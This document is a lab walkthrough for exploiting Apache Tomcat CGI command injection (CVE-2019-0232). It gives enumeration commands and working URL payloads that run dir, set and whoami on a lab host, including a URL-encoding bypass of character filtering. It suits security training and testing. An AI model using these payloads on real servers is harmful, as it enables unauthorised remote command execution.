17.-Attacking-tomcat-cgi
1. Vulnerability Overview
CVE-2019-0232 - Remote Code Execution (RCE)
Description: Allows remote code execution due to improper input validation in the CGI Servlet when
enableCmdLineArguments
is set totrue
.Affected Versions:
Tomcat 9.0.0.M1 to 9.0.17
Tomcat 8.5.0 to 8.5.39
Tomcat 7.0.0 to 7.0.93
Cause:
The CGI Servlet fails to properly sanitize user-supplied input from the query string, leading to command injection.
2. Enumeration
Nmap Scan
Identify open ports and running services, particularly Apache Tomcat.
nmap -p- -sC -Pn 10.129.204.227 --open
CGI Script Discovery (ffuf)
Discover CGI scripts using directory fuzzing.
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat
This command fuzzes for CGI scripts with the .bat
extension and may reveal welcome.bat
.
3. Exploitation
Basic Command Injection
Execute the dir
command to list files.
http://10.129.204.227:8080/cgi/welcome.bat?&dir
Retrieve Environment Variables
Check for useful system environment variables.
http://10.129.204.227:8080/cgi/welcome.bat?&set
This can reveal critical information, such as the PATH
variable being unset.
Hardcoded Path Execution (whoami)
Attempt to execute whoami.exe
by specifying its full path.
http://10.129.204.227:8080/cgi/welcome.bat?&c:\windows\system32\whoami.exe
This may fail if special characters are filtered.
URL Encoding Bypass
Bypass character filtering using URL encoding.
http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe
This allows execution of whoami.exe
despite input restrictions.
4. Key Considerations
The
enableCmdLineArguments
setting must be enabled for this exploit to work.The
&
character is used to separate commands in the injection.If the
PATH
environment variable is unset, commands must be executed with their full path.URL encoding can help bypass character filtering.
Only test on systems you have explicit permission to assess.
Replace IP addresses, ports, and URLs with your specific target information.
5. Commands Summary
# Nmap Scan - Identify open ports
nmap -p- -sC -Pn 10.129.204.227 --open
# ffuf - Discover CGI scripts
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat
# Basic command injection (dir)
http://10.129.204.227:8080/cgi/welcome.bat?&dir
# Retrieve environment variables
http://10.129.204.227:8080/cgi/welcome.bat?&set
# Execute whoami using hardcoded path
http://10.129.204.227:8080/cgi/welcome.bat?&c:\windows\system32\whoami.exe
# URL encoded path execution
http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe
Last updated